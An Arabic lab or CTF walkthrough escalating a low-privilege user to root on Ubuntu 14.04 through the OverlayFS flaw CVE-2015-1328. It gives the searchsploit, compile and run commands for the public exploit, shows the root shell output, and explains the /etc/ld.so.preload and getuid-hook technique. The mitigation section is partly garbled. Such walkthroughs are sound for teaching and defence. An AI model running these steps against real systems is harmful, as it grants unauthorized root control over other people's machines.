
دليل خطوة بخطوة لاستغلال CVE-2015-1328 (OverlayFS) لتصعيد الامتيازات من مستخدم منخفض الصلاحيات إلى صلاحيات الجذر (root) على Ubuntu 14.04. يتضمن جمع المعلومات، وتجميع كود الاستغلال، وتنفيذه.
كان الهدف من هذا الدليل العملي هو تصعيد الصلاحيات من مستخدم بصلاحيات محدودة (karen) إلى المستخدم root عبر استغلال نواة لينكس معرّضة للثغرة.
بعد الاتصال بالجهاز الهدف عبر SSH:
ssh karen@<target-ip>
تعرّفت على إصدار نواة لينكس:
uname -r
النتيجة:
3.13.0-24-generic
كان الجهاز يعمل بنظام Ubuntu 14.04 مع النواة 3.13.0-24-generic.
بما أن تصعيد الصلاحيات في لينكس يعتمد غالبًا على النواة المعرّضة للثغرات، بحثت في Exploit-DB باستخدام SearchSploit:
searchsploit overlayfs ubuntu 3.13
النتيجة:
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c
يستهدف هذا الاستغلال CVE-2015-1328، الذي يؤثر على نوى Ubuntu الأقدم من الإصدارات المصحّحة.
قبل تنفيذ أي استغلال، من المهم فهم ما يفعله.
يستغل هذا الاستغلال خللًا في OverlayFS، وهو نظام الملفات الموحّد في لينكس.
توجد الثغرة لأن OverlayFS يتعامل بشكل غير صحيح مع صلاحيات الملفات عند تحميله داخل مساحة أسماء المستخدم (CLONE_NEWUSER).
يمكن لمستخدم بصلاحيات محدودة التلاعب بـ OverlayFS لإنشاء أو تعديل ملفات يجب أن تكون قابلة للكتابة من قبل root فقط.
يكتب الاستغلال في النهاية إلى:
/etc/ld.so.preload
يخبر هذا الملف المُحمِّل الديناميكي في لينكس بتحميل مكتبة مشتركة قبل كل ملف تنفيذي مرتبط ديناميكيًا.
من خلال إجبار النظام على تحميل مكتبة مشتركة خبيثة، يحصل الاستغلال على تنفيذ كود بصلاحيات root.
باستخدام SearchSploit:
searchsploit -m 37292
هذا الأمر نسخ الاستغلال محليًا:
37292.c
ثم تم نقل الاستغلال إلى الجهاز الضحية.
في هذا الدليل العملي، تم حفظه بالشكل:
/tmp/ofs.c
انتقل إلى الدليل الذي يحتوي على الاستغلال:
cd /tmp
قم بتجميعه باستخدام GCC:
gcc ofs.c -o ofs
إذا نجحت عملية التجميع، فلن يُظهر GCC أي مخرجات.
تحقق من وجود الملف التنفيذي:
ls -l
النتيجة المتوقعة:
-rwxr-xr-x ... ofs
شغّل الملف التنفيذي:
./ofs
يقوم الاستغلال بطباعة رسائل مشابهة لما يلي:
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
في النهاية، يقوم بإنشاء قشرة root:
#
تحقق من الصلاحيات:
id
النتيجة:
uid=0(root) gid=0(root)
بعد الحصول على صلاحيات root:
cat /home/matt/flag1.txt
أصبح بالإمكان قراءة الملف بنجاح الآن.
ينفذ الاستغلال عدة إجراءات داخليًا.
unshare(CLONE_NEWUSER);
تسمح مساحات أسماء المستخدم في لينكس لعملية بصلاحيات محدودة بأن تظهر كـ root داخل مساحة الأسماء، دون أن تكون root على المضيف.
هذه الإمكانية أساسية للهجوم.
clone(... CLONE_NEWNS ...)
تقوم مساحة أسماء التحميل المنفصلة بعزل تغييرات نظام الملفات عن بقية نظام التشغيل.
يتيح ذلك للاستغلال تحميل OverlayFS دون التأثير على نظام الملفات العام.
ينشئ الاستغلال أدلة مؤقتة:
/tmp/ns_sploit/
├── upper/
├── work/
└── o/
ثم يقوم بتحميل OverlayFS:
Lower Layer
│
▼
OverlayFS
│
▼
Upper Layer
بسبب ثغرة النواة، يسمح OverlayFS بشكل غير صحيح بعمليات كان يجب أن تتطلب صلاحيات root.
/etc/ld.so.preloadيقوم الاستغلال بإعادة تسمية ملف قابل للكتابة داخل نقطة تحميل OverlayFS إلى:
ld.so.preload
بعد إعادة تحميل OverlayFS فوق /etc، يصبح هذا الملف:
/etc/ld.so.preload
في الوضع الطبيعي، يجب أن يكون root فقط قادرًا على إنشاء هذا الملف.
يكتب الاستغلال ملف كود C:
/tmp/ofs-lib.c
ثم يجمعه:
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c
تقوم المكتبة المشتركة الناتجة بتجاوز دالة getuid().
يكتب الاستغلال:
/tmp/ofs-lib.so
في:
/etc/ld.so.preload
أصبح كل ملف تنفيذي مرتبط ديناميكيًا يقوم بتحميل هذه المكتبة الخبيثة قبل أي مكتبة نظام.
/bin/suأخيرًا:
execl("/bin/su", "su", NULL);
عند بدء تشغيل su، يتم تنفيذ دالة getuid() الخبيثة بدلاً من الأصلية.
تقوم المكتبة بـ:
/etc/ld.so.preloadsetresuid(0,0,0);
setresgid(0,0,0);
/bin/sh
النتيجة هي قشرة root تفاعلية.
سبب الثغرة هو المعالجة غير الصحيحة للصلاحيات في OverlayFS عند استخدامه داخل مساحات أسماء المستخدم.
يمكن لمستخدم بصلاحيات محدودة التلاعب بـ OverlayFS لإنشاء ملفات ذات صلاحيات مميزة مثل:
/etc/ld.so.preload
بما أن المُحمِّل الديناميكي يثق في هذا الملف، يتم تنفيذ كود تعسفي بصلاحيات root.
قامت Ubuntu بتصحيح هذه الثغرة في إصدارات النواة المحدّثة.
تشمل استراتيجيات التخفيف:
/etc/ld.so.preload/etc/ld.so.cache# Enumerate kernel version
uname -r
# Search for exploit
searchsploit overlayfs ubuntu 3.13
# Copy exploit locally
searchsploit -m 37292
# Compile exploit
gcc ofs.c -o ofs
# Execute exploit
./ofs
# Verify privileges
id
# Read flag
cat /home/matt/flag1.txt